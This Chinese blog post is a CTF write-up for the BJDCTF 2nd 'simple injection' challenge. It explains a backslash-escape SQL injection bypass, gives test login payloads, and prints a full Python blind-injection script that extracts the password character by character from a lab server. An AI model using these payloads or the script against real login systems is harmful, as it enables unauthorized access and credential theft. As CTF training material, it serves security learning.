[BJDCTF 2nd]简单注入

Sk1y

于 2021-08-21 22:07:54 发布

阅读量165

点赞数

分类专栏： CTF刷题记录

本文链接：https://blog.csdn.net/RABCDXB/article/details/119845656

版权

SQL注入转义符盲注安全防护 PHP $_POST

关键词由CSDN通过智能技术生成

CTF刷题记录专栏收录该内容

148 篇文章 18 订阅

订阅专栏

知识点：\转义符进行sql注入绕过，sql盲注

解题过程

在这里插入图片描述
首先是个这样的登录界面，在hint.txt中可以找到sql语句

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

根据这个语句，可以使用\转义符，将$_POST["username"]后的'进行转义，然后使得$_POST["username"]的第一个引号和$_POST["password"]的第一个引号进行闭合，然后之后的password通过#结尾即可

测试

输入
username: admin\
password: or/**/(2>1)#

在这里插入图片描述

盲注脚本

根据这个可以写脚本

import requests
import time
url= 'http://79c017a5-f4df-4057-83f8-315fcae911e9.node4.buuoj.cn:81/index.php'

result = ''

data = {
"username":"admin\\",
"password":""
}
for i in range(1,50):
    print(i)
    low = 32
    high = 127
    mid = (low + high)>>1
    while(low < high):
        
        payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)
        data['password'] = payload
        r = requests.post(url = url,data = data)
        time.sleep(0.05)
        if r.status_code == 429:
            print("too fast")
            time.sleep(0.5)
        if "BJD needs to be stronger" in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high)>>1
        if(mid == 32 or mid == 127):
            break
    result += chr(mid)
    print(result)